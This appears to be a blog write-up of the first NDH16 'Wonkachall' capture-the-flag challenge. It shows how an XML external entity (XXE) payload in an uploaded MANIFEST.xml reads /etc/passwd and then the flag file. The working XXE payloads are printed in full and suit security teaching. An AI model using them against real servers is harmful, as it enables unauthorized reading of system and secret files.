This challenge covers one of the most efficient and popular attack against web servers. It is also the first of a series of 6 challenges from the NDH16 public CTF.

Table of Contents

Challenge description

We have a website which is actually The Golden Ticket Blackmarket platform. It proposes a list of purchasable golden tickets where each ticket has a bitcoin cost, a name and an address.

Wonka Shop screen capture

The challenge statement says that the flag is stored in ““/flags.txt”. The objective is to take control of this website. Hurry up!

Take my Golden Ticket!

The first reflex to have when you arrive on a website should be to hit “CTRL+U” and dive deep into the source code. The vast majority of this website is static at the exception of the “/upload.php” page. We are able to upload a zip archive containing a MANIFEST.xml and a Ticket as shown in the provided example.

Upload page screen capture

The Ticket file contains a string representing the content of the Golden Ticket and the MANIFEST.xml stores the three variables displayed on the home page for each ticket, as shown below:

<?xml version="1.0" encoding="UTF-8"?>
<root>
	<entreprise>xxx</entreprise>
	<prixBTC>xxx BTC</prixBTC>
	<adresseBTC>xxx</adresseBTC>
</root>

Wait a second… it means that the server is parsing XML files in order to get these values… Very interesting! :smiling_imp:

Have you ever heard of XML external entities?

That’s not a Ticket

XML External Entity Processing attack aim at exploiting weakly configured XML parsers. The objective is to reference external entities inside the XML document in order to access local resources or to execute code remotely.

Alright, now let’s modify our MANIFEST.xml to detect if the website is vulnerable. I suggest the following payload, supposed to include “/etc/passwd” and to display it in place of the ticket’s address:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
	<entreprise>xxx</entreprise>
	<prixBTC>xxx BTC</prixBTC>
	<adresseBTC>&xxe;</adresseBTC>
</root>

Then we zip the MANIFEST and the Ticket, we upload it and… :tada:

XXE disclosure

Say Hello to the list of users!

Fine, now we can forge the payload that will allow us to retrieve the flag located under “/flag.txt”. This is basically the same payload as before in which we replace the target file as follows:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag.txt" >]>
<root>
	<entreprise>xxx</entreprise>
	<prixBTC>xxx BTC</prixBTC>
	<adresseBTC>&xxe;</adresseBTC>
</root>

And here comes the reward! :triangular_flag_on_post:

XXE disclosure

You can now read the writeup of Wonkachall-step2 :wink:

BoiteAKlou :hammer: